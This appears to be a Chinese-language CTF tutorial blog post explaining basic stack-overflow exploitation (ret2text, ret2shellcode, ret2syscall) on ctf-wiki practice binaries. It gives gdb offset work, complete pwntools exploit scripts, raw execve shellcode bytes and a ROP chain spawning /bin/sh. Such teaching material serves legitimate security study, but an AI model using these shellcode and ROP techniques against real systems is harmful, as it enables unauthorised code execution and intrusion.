PWN棧溢出基礎(chǔ)——ROP1.0
這篇文章介紹ret2text,ret2shellcode,ret2syscall(基礎(chǔ)篇)
在中間會(huì)盡量準(zhǔn)確地闡述漏洞利用和exp的原理,并且盡量細(xì)致地將每一步操作寫出來。
參考ctf-wiki以及其他資源,參考鏈接見最后,文中展示的題目下載鏈接見評(píng)論區(qū)
1.ret2text
ret2text即控制程序執(zhí)行程序本身已有的代碼(.text)。其實(shí),這種攻擊方法是一種籠統(tǒng)的描述。我們控制執(zhí)行程序已有的代碼的時(shí)候也可以控制程序執(zhí)行好幾段不相鄰的程序已有的代碼(也就是gadgets),這就是我們所要說的ROP。
這時(shí),需要知道對(duì)應(yīng)返回的代碼的位置。當(dāng)然程序也可能會(huì)開啟某些保護(hù),我們需要想辦法去繞過這些保護(hù)。
簡單點(diǎn)說,ret2text的利用思路就是首先找到溢出函數(shù),隨后確定局部變量距離需要淹沒的返回地址的偏移(通常情況下為ebp-addr(buf)+4/8),最后將返回地址修改為/bin/sh的地址即可。
1.1 ret2text
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
開啟了NX保護(hù),這個(gè)保護(hù)在windows下邊為DEP,其將數(shù)據(jù)段和代碼段分開了,因此不能將返回地址導(dǎo)向shellcode中。
IDA檢查

主函數(shù)中第8行g(shù)ets()存在緩沖區(qū)溢出,
變量s距離棧頂esp為0x1C,后續(xù)我們會(huì)調(diào)試查看該偏移地址。
參看字符串列表,可見有/bin/sh,有system函數(shù),嘿嘿~
在secure()函數(shù)中有著調(diào)用/bin/sh,地址為0x0804863A,接下來我們要做的就是使程序流導(dǎo)向這里就Ok了。
gdb調(diào)試
在call gets() 的位置下斷點(diǎn)
pwndbg> b *0x080486AE
pwndbg> r
esp指向的地址為0xffffcfd0,則s的位置為addr=0xffffcfd0+0x1C,ebp的地址為0xffffd058
相對(duì)ebp的偏移=d058-cfec=0x6c,還要淹沒ebp,距離返回地址的偏移為0x6c+4
exp
##ret2text_exp.py
from pwn import *
p=process('./ret2text')
binsh=0x08048763
system=0x0804831A
target=0x804863a
payload='A'*0x6c + 'A'*4 + p32(target)
#gdb.attach(p,'b 0x080486C4')
p.sendafter('anything?',payload)
p.interactive()
事后調(diào)試
在exp中去掉對(duì)于gdb.attach那一行的注釋,你就能跟進(jìn)去了,下斷點(diǎn)的位置為leave指令處,即retn之前的一條指令。
(寫給小白的:python exp.py,在彈出的gdb窗口輸入c(讓程序跑起來),回到之前的終端回車)
來到了斷點(diǎn)處
可見,ret指令指向了0x804863a,去調(diào)用/bin/sh了。
1.2 level2
這道題目與上一道類似,checksec之后都是開啟了NX保護(hù),不同點(diǎn)在于溢出點(diǎn)確定起來更簡單,而正確調(diào)用/bin/sh要稍微復(fù)雜一些哈。
IDA
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
漏洞函數(shù)長這個(gè)樣子,里邊的read造成了一個(gè)緩沖區(qū)溢出,同時(shí)確定了buf距離ebp偏移為0x88
查看string,發(fā)現(xiàn)有/bin/sh,也有system函數(shù)
可以看到/bin/sh的地址為0x0804A024。
因?yàn)闆]有直接的調(diào)用/bin/sh,但是可以利用system函數(shù),首先覆蓋返回地址為system_plt,并根據(jù)32位的參數(shù)傳遞規(guī)則設(shè)置參數(shù)/bin/sh。
exp
##level2_exp.py
from pwn import *
file_path='./level2'
elf = ELF(file_path)
system_plt = elf.plt['system']
main_addr = 0x08048480 ##用不到
binsh = 0x0804A024
payload = 'a'*0x88+'b'*4+p32(system_plt)+'a'*4+p32(binsh)
p=process('./level2')
#gdb.attach(p,'b *0x0804847E')
p.sendafter('Input',payload)
p.interactive()
首先用0x88+4個(gè)字符到達(dá)返回地址,將此處的地址修改為system的地址,然后將binsh的地址作為參數(shù)傳入。
2.ret2shellcode
原理
ret2shellcode,即控制程序執(zhí)行shellcode代碼。shellcode指的是用于完成某個(gè)功能的匯編代碼,常見的功能主要是獲取目標(biāo)系統(tǒng)的shell。一般來說,shellcode需要我們自己填充。這其實(shí)使另外一種經(jīng)典的利用方法。(如果熟悉《0day》這本書的師傅們,對(duì)于這種利用方式應(yīng)該比較熟悉吧)
應(yīng)用環(huán)境要求不能有NX保護(hù),但是可以在程序沒有自帶/bin/sh和system_plt的情況下完成利用。
2.1ret2shellcode
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
主函數(shù)中g(shù)ets()存在緩沖區(qū)溢出,并且strncpy將s中的內(nèi)容拷貝到了buf2中。buf2位于bss段。
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
可以通過gdb查看bss段是否可以執(zhí)行。
b main
r
vmmap
可見 0x804a000,權(quán)限為rwxp,讀、寫、執(zhí)行均可。
偏移地址的計(jì)算操作見1.1,s和esp的偏移為0x1c,計(jì)算得出s的addr,ebp-s_addr就是其相較于ebp的偏移地址。
另外需要將返回地址修改為buf的地址,即addr=0x0804A080
exp
from pwn import *
p=process('./ret2shellcode')
addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,'A')+p32(addr)
p.sendline(payload)
p.interactive()
2.2 sniperoj-pwn100-shellcode-x86-64
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
是一個(gè)64位程序,并且開啟了PIE(windows下為ASLR),地址隨機(jī)化,通過該內(nèi)存保護(hù)機(jī)制,使得程序每次裝載進(jìn)入內(nèi)存之后的地址都不一樣,使得我們無法使用固定地址來導(dǎo)向shellcode。(PS:有點(diǎn)難度了,但事情也變得更好玩了,>_<)
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
buf = 0LL;
v5 = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to Sniperoj!");
printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
puts("Now give me your answer : ");
read(0, &buf, 0x40uLL);
return 0;
}
read函數(shù)造成了一個(gè)緩沖區(qū)溢出。同時(shí)printf給出了buf的地址。稍微有點(diǎn)麻煩的是 read(0, &buf, 0x40uLL);有長度限制,導(dǎo)致我們需要使用一些短payload。
shellcode
推薦一個(gè)師傅整理的各種各樣的shellcode
https://blog.csdn.net/A951860555/article/details/114106118
exp
這個(gè)題有幾個(gè)技巧:1.怎么接受程序的輸出。2.計(jì)算偏移地址。3.導(dǎo)向shellcode的時(shí)候如何精準(zhǔn)定位到有用的位置 4.設(shè)置合理的shellcode大小
##shellcode_exp.py
##我先給出exp再具體說明思路
from pwn import *
p=process('./shellcode')
p.recvuntil('[')
addr=p.recvuntil(']',drop=True)
addr=int(addr,16)
addr=addr+0x10+8+8
#23bytes shellcode
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload='A'*0x10+'A'*8+p64(addr)+shellcode
print payload
p.sendline(payload)
p.interactive()
首先,使用recvuntil來讀取指定字段。
然后,計(jì)算偏移。前邊填充的需要0x10到達(dá)ebp,再來0x8個(gè)覆蓋掉ebp(因?yàn)槭?4位程序)。
重點(diǎn),addr的地址需要是buf的地址加上,0x10+0x8+0x8,因?yàn)樾枰尦绦蛑苯訄?zhí)行shellcode,不然執(zhí)行前邊的‘A’或者地址么?至此,便完成了精準(zhǔn)導(dǎo)向。
3.ret2syscall
ret2syscall,即控制程序執(zhí)行系統(tǒng)調(diào)用,獲取shell。
3.1ret2syscall
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
僅開啟了NX。
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
gets()存在緩沖區(qū)溢出,但是無法使用上兩節(jié)中的技巧,程序沒有泄露變量地址,也沒有system函數(shù)可以使用。
這就需要另一個(gè)思路,找跳板。
此次,由于我們不能直接利用程序中的某一段代碼或者自己填寫代碼來獲得shell,所以我們利用程序中的gadgets來獲得shell,而對(duì)應(yīng)的shell獲取則是利用系統(tǒng)調(diào)用。
其中,該程序?yàn)?2位,需要使得
(1)系統(tǒng)調(diào)用號(hào),即 eax 應(yīng)該為 0xb
(2)第一個(gè)參數(shù),即 ebx 應(yīng)該指向 /bin/sh 的地址,其實(shí)執(zhí)行 sh 的地址也可以。
(3)第二個(gè)參數(shù),即 ecx 應(yīng)該為 0
(4)第三個(gè)參數(shù),即 edx 應(yīng)該為 0
找gadgets
而我們?nèi)绾慰刂七@些寄存器的值 呢?這里就需要使用 gadgets。比如說,現(xiàn)在棧頂是 10,那么如果此時(shí)執(zhí)行了 pop eax,那么現(xiàn)在 eax 的值就為 10。但是我們并不能期待有一段連續(xù)的代碼可以同時(shí)控制對(duì)應(yīng)的寄存器,所以我們需要一段一段控制,這也是我們?cè)?gadgets 最后使用 ret 來再次控制程序執(zhí)行流程的原因。具體尋找 gadgets 的方法,我們可以使用 ropgadgets 這個(gè)工具。(這里看不懂沒關(guān)系,后邊我會(huì)用例子告訴你為什么pop + retn就可以控制程序流,并且進(jìn)一步敘述原理)
1.先找控制eax的gadgets
$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
選擇0x080bb196 : pop eax ; ret
2.找別的寄存器的
$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
選擇0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
3.找/bin/sh字符串對(duì)應(yīng)的地址
$ ROPgadget --binary ret2syscall --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
4.int 0x80 的地址
$ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
exp
#!/usr/bin/env python
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
#sh.sendline(payload)
gdb.attach(sh,'b *0x08048EA0')
#gdb.attach(p)
#sh.sendafter('?',payload)
sh.sendline(payload)
sh.interactive()
偏移地址計(jì)算同上,payload構(gòu)造部分的原理在下邊我會(huì)試著解釋一下
3.x 解惑
上邊說到
payload=112個(gè)填充+pop_eax_ret+0xb+pop_edx_ecx_ebx_ret+0x0+0x0+addr_binsh+addr_int_0x80
首先,使用pop_eax_ret的地址覆蓋返回地址容易理解,我們修改了程序控制流,并且此時(shí)棧中的第一個(gè)數(shù)據(jù)是0xb,pop eax之后,就將eax中的數(shù)據(jù)設(shè)置為0xb。
然后,執(zhí)行ret指令。(我很費(fèi)解,為什么retn指令可以讓控制流導(dǎo)向下一個(gè)pop edx指令所在的位置?)
原來,32位程序,CPU執(zhí)行ret指令時(shí),相當(dāng)于執(zhí)行IP=esp,esp=esp+4。
esp中的數(shù)據(jù)為pop edx的地址,那么ret之后,自然就將程序流引向那里了。
(我認(rèn)為最難理解的就是這一個(gè)了,別的都沒啥)
最后,將調(diào)用execve時(shí)的后兩個(gè)參數(shù)賦值為0(pop給edx賦值為0,ecx為0);pop ebx, 即ebx ->addr_binsh,將第一個(gè)參數(shù)賦值為/bin/sh的地址;ret到系統(tǒng)函數(shù) int 0x80
原理如上所述了,但是還需要調(diào)試著看一下,在劫持了返回地址之后程序的執(zhí)行過程是怎么樣的。
下斷點(diǎn)的位置同樣是leave指令處。
可以看到,payload已經(jīng)填充進(jìn)去了。
單步執(zhí)行一下,s,跟到ret執(zhí)行后
即將執(zhí)行pop eax,此時(shí)棧頂元素為0xb
繼續(xù)
即將ret,esp中指向pop edx指令所在處,繼續(xù)
即將執(zhí)行pop edx,并且棧頂數(shù)據(jù)為0x0,后續(xù)便會(huì)接著給ecx也pop為0x0,給ebx,pop為bin/sh的地址,繼續(xù)
即將ret到libc的函數(shù) int 0x80那里去,并且參數(shù)為(''bin/sh'',NULL.NULL),繼續(xù)
至此,分析結(jié)束。

完成攻擊。
總結(jié)
本文主要參看ctf-wiki中的ROP-basic部分,感謝維持這個(gè)項(xiàng)目的大佬們,敬佩大佬們的開源精神,respect
鏈接:https://wiki.x10sec.org/pwn/linux/stackoverflow/basic-rop-zh/
另外,還參考了星盟安全公開課中的內(nèi)容。
鏈接:https://www.bilibili.com/video/BV1VA411K7CH
寫這篇文章的初衷是將入門題目的每一步原理和操作都講明白,畢竟自己剛開始不會(huì)用pwndbg的時(shí)候非常痛苦,看得懂exp,卻無法真正觀察內(nèi)存的變化。
謝謝你能看到這里,后續(xù)我希望能更新一些更高難度的題目writeup、CVE漏洞的復(fù)現(xiàn)以及有關(guān)模糊測(cè)試的內(nèi)容。